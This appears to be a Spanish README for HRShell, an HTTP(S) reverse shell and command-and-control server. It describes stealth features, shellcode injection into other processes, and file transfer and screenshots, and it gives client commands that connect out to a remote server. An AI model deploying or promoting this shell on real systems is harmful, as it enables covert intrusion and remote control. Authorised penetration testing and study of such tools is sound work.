
HRShell es un reverse shell HTTPS/HTTP construido con flask. Es un servidor C2 avanzado con muchas funciones y capacidades.
HRShell es un reverse shell HTTPS/HTTP construido con Flask y es compatible con python 3.x. El client.py ha sido probado exitosamente en:
mientras que el server.py es compatible con sistemas Unix (Soporte para Windows próximamente...)
migrate <PID>) especificando su PID
cd y variantes).history disponible en sistemas Unix.download/upload/screenshot/hex disponibles.|) y comandos encadenados (;) están soportados*Para cambios de versión consulte el CHANGELOG.
HRShell es sigiloso ya que utiliza el protocolo HTTP(S) como método de comunicación entre cliente y servidor. Además, cuando se usa TLS, el tráfico también está cifrado. Además, si el CERT no está codificado manualmente en el lado del cliente (lo cual es una opción factible) y no se usa el comando upload, entonces client.py no toca el disco en absoluto.
Lado del servidor:
A menos que se especifique la opción --http, por defecto server.py es HTTPS usando certificados sobre la marcha, ya que los certificados sobre la marcha son una característica incorporada de Flask. Pero si se especifica la opción -s tornado para que el servidor use TLS, se deben especificar las opciones --cert y --key de la siguiente manera:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
Se pueden usar certificados "reales" u otra forma de generar un par cert/clave es, por ejemplo, usando mkcert u openssl directamente de la siguiente manera:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
También se puede usar un par cert/clave con el servidor Flask:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ Si el servidor está usando TLS, entonces por diseño el cliente no puede usar
http://...para conectarse al servidor, sino que debe usar explícitamentehttps.
Lado del cliente: Por defecto, la verificación SSL del cliente está deshabilitada, a menos que:
--cert, por ejemplo:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT, en lugar del valor predeterminado None, se establece previamente con un certificado válido, por ejemplo:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
⚠️ Que la verificación SSL esté deshabilitada por defecto en el cliente no significa en ningún caso que TLS también esté deshabilitado, TLS estará habilitado si el servidor lo usa - por lo que TLS depende completamente del servidor. La opción
--certen el cliente está ahí solo como una forma alternativa para que el servidor-cliente tenga una sesión cifrada y eso es todo.
Hay dos "modos" de inyección de shellcode usando los dos siguientes comandos respectivamente:
migrate <PID>: Usando este comando podemos inyectar shellcode en el espacio de memoria de otro proceso especificando su PID. Por ahora, este comando solo se puede aplicar en plataformas Windows x86/x64!
inject shellcode: Usando este comando se crea un nuevo hilo (o proceso generado en sistemas Unix) de nuestro proceso actual y la inyección de shellcode ocurre en su espacio de memoria. Como resultado, nuestro shell HTTP(S) no se ve afectado por la inyección. Las plataformas donde se puede aplicar este comando son: Unix x86/x64, Windows x86!
Hay dos formas de especificar/configurar qué tipo de shellcode desea que ejecute el cliente:
shellcode en el script client.py para que sea un shellcode válido, oset shellcode <shellcode-id> para hacerlo sobre la marcha. Con este comando puede actualizar su shellcode en el lado del cliente desde el lado del servidor tantas veces como desee!
La primera forma es bastante directa. Sin embargo, para usar la segunda forma, más conveniente (ya que también puede modificar un shellcode ya especificado), debe configurar el script shellcodes/utils.py para que contenga el/los shellcode(s) de su elección. El script contiene un ejemplo de cómo puede hacerlo.
💡 Puede modificar/actualizar el script
shellcodes/utils.pyincluso después de haber lanzadoserver.pytantas veces como desee, ya queserver.pyusará dinámicamente la versión más actualizada/reciente. De esta manera, puede configurar y modificar shellcodes sobre la marcha...
Comandos especiales:
Cualquier otro comando es compatible si no es interactivo como por ejemplo, gdb, top, etc... También escribiendo python server.py -h o python client.py -h puede obtener información sobre los argumentos disponibles del servidor y del cliente.
Nota: Si un cliente está conectado con el servidor y queremos terminar el servidor, antes de presionar CTRL+C, debemos cerrar la conexión usando el comando exit.
Lado del cliente:
Para crear un comando personalizado, generalmente:
elif en el lado del cliente.Lado del servidor:
Si el comando requiere la existencia de un nuevo endpoint en el lado del servidor, entonces:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
documentation if needed
"""
...
return ...
handleGET() para redirigir al cliente a ese endpoint:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() para manejar la presentación de los resultados.Ambos scripts (server.py y client.py) se pueden personalizar mediante argumentos:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: An HTTP(S) reverse-shell server with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify the HTTP(S) server to use (default: flask).
-c , --client Accept connections only from the specified client/IP.
--host Specify the IP to use (default: 0.0.0.0).
-p , --port Specify a port to use (default: 5000).
--http Disable TLS and use HTTP instead.
--cert Specify a certificate to use (default: None).
--key Specify the corresponding private key to use (default: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: An HTTP(S) client with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify an HTTP(S) server to connect to.
-c , --cert Specify a certificate to use.
-p , --proxy Specify a proxy to use [form: host:port]
Para instalar los requisitos del servidor:
pip install -r requirements.txt --upgrade --user
Los comentarios y contribuciones son bienvenidos. Si encuentra algún error o tiene una solicitud de funcionalidad, no dude en abrir un issue, y tan pronto como lo revise intentaré solucionarlo.
Esta herramienta es solo para fines de prueba y académicos, y solo puede usarse donde se haya otorgado un consentimiento estricto. ¡No la use para fines ilegales! Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables por ningún mal uso o daño causado por esta herramienta y el software en general.
hexdump del cliente tomada de este gran gist.Este proyecto está licenciado bajo la Licencia GPLv3 - consulte el archivo LICENSE para más detalles.
server.py como client.py son fácilmente extensibles.